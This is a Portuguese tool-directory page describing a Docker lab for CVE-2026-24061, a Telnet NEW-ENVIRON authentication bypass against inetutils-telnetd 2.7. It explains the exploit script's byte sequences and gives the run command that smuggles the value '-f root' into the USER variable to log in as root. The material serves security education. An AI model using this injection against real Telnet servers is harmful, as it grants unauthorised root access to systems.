Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24061 — # Laboratório Docker Educacional demonstrando injeção de nome de usuário Telnet NEW-ENVIRON (CVE-2026-24061) com um cliente Python e servidor vulnerável para pesquisa de segurança isolada. | Kitploit
Ferramentas/GitHubGitHub/tiborscholtz/cve-2026-24061
Análise de VulnerabilidadesExploraçãoSegurança de RedeAprendizado e EducaçãoLabs e Prática
GitHubtiborscholtz/cve-2026-24061

CVE-2026-24061

# Laboratório Docker Educacional demonstrando injeção de nome de usuário Telnet NEW-ENVIRON (CVE-2026-24061) com um cliente Python e servidor vulnerável para pesquisa de segurança isolada.

Ver Repositório
há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Laboratório Docker de Auto-Login Telnet

Docker Python License

Um laboratório Docker leve para experimentar com negociação de protocolo Telnet, explicado no exploit CVE-2026-24061, que contém injeção automática de nome de usuário usando a opção NEW-ENVIRON.

Este projeto cria um ambiente cliente-servidor isolado para estudar como o Telnet lida com bypass de autenticação baseado em variáveis de ambiente.


Recursos

  • Laboratório isolado de dois contêineres usando Docker Compose
  • Cliente Telnet Python personalizado
  • Injeção automática da variável de ambiente USER
  • Tratamento básico de negociação de opções Telnet
  • Descoberta de serviços baseada em DNS interno do Docker
  • Configuração mínima e reproduzível

Arquitetura

root@kitploit:~
+---------+        labnet        +---------+
| node1   |  ------------------> | node2   |
| Cliente |                      | Telnet  |
| Python  |                      | Servidor|
+---------+                      +---------+
ContêinerFunção
node1Cliente Python com script de auto-login
node2Servidor Telnet (inetutils-telnetd 2.7)

Ambos os serviços rodam dentro de uma rede bridge Docker privada, chamada labnet.


Estrutura do Projeto

root@kitploit:~
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py

Detalhes dos arquivos

Dockerfile.node1

Este arquivo é responsável pela instalação do contêiner cliente, chamado node1.

Escolhi python:3.12-slim como imagem base, pois o propósito deste laboratório é apenas comunicação de rede. Instalamos somente o cliente telnet e copiamos o exploit.py para a pasta raiz do contêiner.

Dockerfile.node2

O arquivo é responsável pela instalação do contêiner servidor, chamado node2.

A mesma imagem base se aplica a este contêiner também. No entanto, o processo de instalação envolve mais etapas:

  • Após a atualização, precisamos instalar o wget, para obter a versão vulnerável do telnetd.
  • Após baixar a versão vulnerável, vamos instalá-la, usando apt get install -y
  • A linha adicionada ao /etc/inetd.conf habilita o serviço telnet.
  • O último comando habilita o daemon inetd como comando de inicialização do contêiner.

exploit.py

No topo do arquivo, vemos algumas constantes declaradas:

root@kitploit:~
IAC  = 255 
DO   = 253
DONT = 254
WILL = 251
WONT = 252
SB   = 250
SE   = 240

IAC, com o valor de 255, significa Interpret As Command (Interpretar como Comando), então marca o início da sequência de controle Telnet.

Você pode inspecionar ainda mais opções aqui

O formato geralmente se parece com:

root@kitploit:~
IAC <comando> <opção>

No script, existe a seguinte parte:

root@kitploit:~
# Handle telnet negotiation
if IAC in data:
    handle_telnet_negotiation(sock, data, username)

Este if verifica se os dados atualmente recebidos do servidor contêm o valor IAC; se sim, precisamos interpretá-los como um comando.

Percorremos os dados recebidos usando um loop while. Verificamos cada byte para ver se é um IAC.

root@kitploit:~
if data[i] == IAC:
    cmd = data[i+1]
    opt = data[i+2]

Se for, atribuímos às variáveis cmd e opt o byte correspondente do fluxo de dados.

Se o valor de opt for igual ao valor de NEW_ENVIRON, o script executa o método send_new_environ_user.

Vamos examinar a seguinte parte do código:

root@kitploit:~
data = bytes([
        IAC, SB, NEW_ENVIRON, 0,  # IS
        ENV_USERVAR
    ]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
        IAC, SE
])

SB e SE fazem parte das constantes do protocolo Telnet. SB significa 'Subnegotiation begin' (Início de subnegociação), enquanto SE significa 'Subnegotiation end' (Fim de subnegociação). Qualquer coisa entre esses dois valores são configurações relacionadas a um comando específico, enviadas ao servidor. Neste caso, queremos enviar uma mensagem usando o padrão rfc1572, detalhado aqui.

Podemos traduzir livremente a sequência de bytes para português, como:

root@kitploit:~
- Interprete isto como um comando (IAC)
- É (0)
- Uma nova variável de ambiente (NEW_ENVIRON)
- O valor desta nova variável de ambiente é (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Encerre a subconexão (IAC + SE)

No entanto, há casos em que o servidor Telnet alvo não suporta variáveis de ambiente relacionadas a nomes de usuário. Nesse caso, fazemos fallback para enviar o nome de usuário da forma tradicional.


Requisitos

  • Docker 24+
  • Docker Compose v2+

Verifique a instalação:

root@kitploit:~
docker --version
docker compose version

Início Rápido

1. Construir e iniciar o ambiente

root@kitploit:~
docker compose up --build -d

Verifique o status:

root@kitploit:~
docker ps

Você deve ver:

  • node1
  • node2

2. Abra um shell no contêiner cliente

root@kitploit:~
docker exec -it node1 bash

Defina um nome de usuário e execute o script:

root@kitploit:~
USER="-f root" python exploit.py node2

O script irá:

  • Conectar-se ao node2 na porta 23
  • Realizar a negociação Telnet
  • Enviar USER=-f root usando NEW-ENVIRON
  • Fazer fallback para detecção de prompt, se necessário

Rede

  • Nome da rede: labnet
  • O DNS interno do Docker permite resolução de nomes de host
  • Nenhuma porta é exposta ao host
  • A comunicação é apenas contêiner para contêiner
HostnameServiço
node1Cliente
node2Servidor Telnet

Notas de Implementação

O script cliente:

  • Trata sequências de controle Telnet IAC, DO, WILL, que são comandos fundamentais do protocolo Telnet usados para negociação de opções entre cliente e servidor.
  • Responde a solicitações NEW-ENVIRON
  • Envia:
root@kitploit:~
USER=<valor de $USER>
  • Detecta prompts login: ou username: como fallback

Parar e Limpar

Pare o ambiente:

root@kitploit:~
docker compose down

Se você também quiser remover contêineres e imagens:

root@kitploit:~
docker compose down --rmi all

Aviso de Segurança

O Telnet transmite dados em texto puro e não é seguro. Este projeto destina-se apenas a fins educacionais, dentro de ambientes isolados.


Solução de Problemas

Conexão recusada

  • Certifique-se de que os contêineres estão em execução:

    root@kitploit:~
    docker ps
    

O script sai com erro de USER

  • Certifique-se de que a variável de ambiente está definida:
root@kitploit:~
USER="-f root" python exploit.py node2

Reconstruir após alterações

root@kitploit:~
docker compose up --build

Licença

Este repositório é fornecido para uso educacional e de pesquisa. Contribuições e melhorias são bem-vindas.

Baixar ferramenta